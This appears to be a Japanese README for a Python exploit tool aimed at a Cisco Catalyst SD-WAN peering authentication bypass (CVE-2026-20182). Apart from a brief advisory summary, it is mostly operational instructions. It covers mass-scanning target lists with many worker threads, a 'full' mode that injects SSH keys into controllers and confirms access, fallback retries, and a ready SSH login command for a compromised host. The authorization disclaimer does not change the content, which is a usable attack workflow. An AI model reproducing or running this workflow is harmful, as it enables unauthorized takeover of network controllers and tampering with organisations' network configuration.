CVE-2026-20182

Cisco Catalyst SD-WAN ピアリング認証バイパス

CVE-2026-20182 — Cisco Catalyst SD-WAN ピアリング認証バイパス

Cisco Catalyst SD-WAN Controller / Manager のピアリング認証バイパス (CVE-2026-20182) を、許可を得た環境でテストするための評価ツールです。

脆弱性の概要

2026年5月のアドバイザリ: コントロール接続のハンドシェイク / ピアリング認証の欠陥により、認証されていないリモートの攻撃者が認証をバイパスし、影響を受けるシステム上で高特権の内部アクセスを取得できる可能性があります。

攻撃者は影響を受けるシステムに細工したリクエストを送信します。成功すると、攻撃者は内部の高特権・非rootアカウントとして認証され、NETCONF に到達して SD-WAN ファブリック設定を操作できる可能性があります。

推奨事項: 公式ベンダーのガイダンスに従って Cisco のセキュリティ修正を適用してください。管理プレーンの露出を制限し、コントロールプレーンの接続を監視し、SD-WAN コントローラに不正な設定変更がないか監査してください。

連絡先

Telegram: @KNxploited

コンソールプレビュー

ツール: CVE-2026-20182.py

Cisco SD-WAN vdaemon (UDP/DTLS 12346) を標的とした CVE-2026-20182 用の Python 3 エクスプロイトフレームワークです。

機能の詳細 (ステップバイステップ)

ファブリックフォールバック: TEAR_DOWN またはパラメータ不一致時、--no-fallback が指定されていない限り、代替の domain/site プリセット (1,100)、(1,1)、(0,0) で再試行します。

結果ティア (注意深くお読みください)

重要

• check モード → 最大でもティア 03 (バイパスプローブ)。完全なエクスプロイトの証明ではありません。
• full モード → ティア 01 (ssh_verified) を目指します。
• リスト内の https://host → TCP Web ヒントのみ (80/443)。443 の UDP DTLS ではありません。

要件

pip install -r requirements.txt

OpenSSL (システム)

Windows

1. Win64 OpenSSL 3.x または同等品をインストール
2. bin\ を PATH に追加するか、以下を設定:

OPENSSL_HOME=C:\Program Files\OpenSSL-Win64

Linux

# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH

OpenSSL を読み込めない場合、ツールは起動時に終了します。

クイックスタート

対話型メニュー (デフォルト)

python CVE-2026-20182.py

• オプション 1〜11 を設定し、0 = スキャン開始
• デフォルトの実行モード: check (安全なバイパスプローブ)

非対話型 (自動化)

python CVE-2026-20182.py -y

実行モード

CHECK — バイパスプローブのみ

python CVE-2026-20182.py -y --mode check

FULL — 鍵の注入 + SSH 検証 (許可されたターゲットのみ)

python CVE-2026-20182.py -y --mode full

CLI リファレンス (すべてのフラグと例)

ターゲットとワーカー

-f / --file — ターゲットリスト (デフォルト: targets.txt)

python CVE-2026-20182.py -y -f my_controllers.txt --mode check

-t / --threads — ワーカースレッド数 (1〜200、デフォルト 12)

python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check

--domain — リストにない場合のデフォルト DOMAIN_ID (デフォルト: 1)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check

--site — リストにない場合のデフォルト SITE_ID (デフォルト: 100)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full

モードと自動化

--mode — check | full

python CVE-2026-20182.py -y --mode full -f targets.txt

-y / --yes — 対話型メニューをスキップし、CLI の値のみを使用

python CVE-2026-20182.py -y -f targets.txt --mode check -t 20

SSH 検証

--no-ssh-verify — 注入後の SSH テストをスキップ (full モードでは非推奨)

python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt

--verify-ssh22 — 830 に加えて TCP 22 も試行

python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt

UDP / ファブリック

--no-try-list-udp — UDP 12346 のみ、リストの :port は無視

python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check

--extra-udp-ports — ラボ用: すべてのホストに追加の UDP ポート

python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check

--no-fallback — TEAR_DOWN 時の domain/site 再試行を無効化

python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full

ロギング

-v / --verbose — 各プロトコル TX/RX メッセージをログに記録

python CVE-2026-20182.py -y -v -f targets.txt --mode check

対話型メニュー (-y 省略時)

targets.txt の形式

1行に1ターゲット。先頭が # の行は無視されます。

サンプルファイル

# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1

非対応: IPv6 (IPv4 / ホスト名のみ)。

出力ファイル

SSH コマンドの例 (ティア 01)

ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N

推奨ワークフロー

1) 多数のホストをスクリーニング (高速)

python CVE-2026-20182.py -y -f targets.txt --mode check -t 24

cisco_sdwan_03_bypass_only.jsonl とライブ統計の Bypass only を確認します。

2) 候補に絞り込んだホストでエクスプロイトを確認

python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8

cisco_sdwan_01_confirmed_ssh.jsonl — ssh_verified: true を含む唯一のファイルを確認します。

3) 単一ホストのデバッグ (詳細ログ)

python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback

ライブテレメトリ (スキャン中)

運用上の注意

• デフォルトモードは check — 鍵を書き出さず、単独で SSH を証明することもありません。
• 本当の成功 = full モードでのみ ssh_verified=true。
• パッチ適用済み / 誤ったファブリック → CHALLENGE_ACK 後に TEAR_DOWN が発生することが多いです。ファブリックフォールバックを有効にするか、リスト内の domain/site を修正してください。
• ファイアウォールは、スキャナーからコントローラへの UDP/12346 (およびリスト内の追加 UDP ポート) を許可する必要があります。
• sdwan_keys/ やスキャン結果を公開リポジトリにコミットしないでください。

法的免責事項

このソフトウェアは、許可を得たセキュリティ調査、防御的評価、教育のみを目的としています。

所有または運用していないシステムをテストするには、明示的な書面による許可が必要です。コンピュータシステムへの不正アクセスは違法です。作者は、本ツールの使用から生じる誤用、損害、または法的結果について一切責任を負いません。

セキュリティテストの実施について明示的に許可されているシステムとネットワークでのみ使用してください。

作者: Nxploited ( Khaled Alenazi )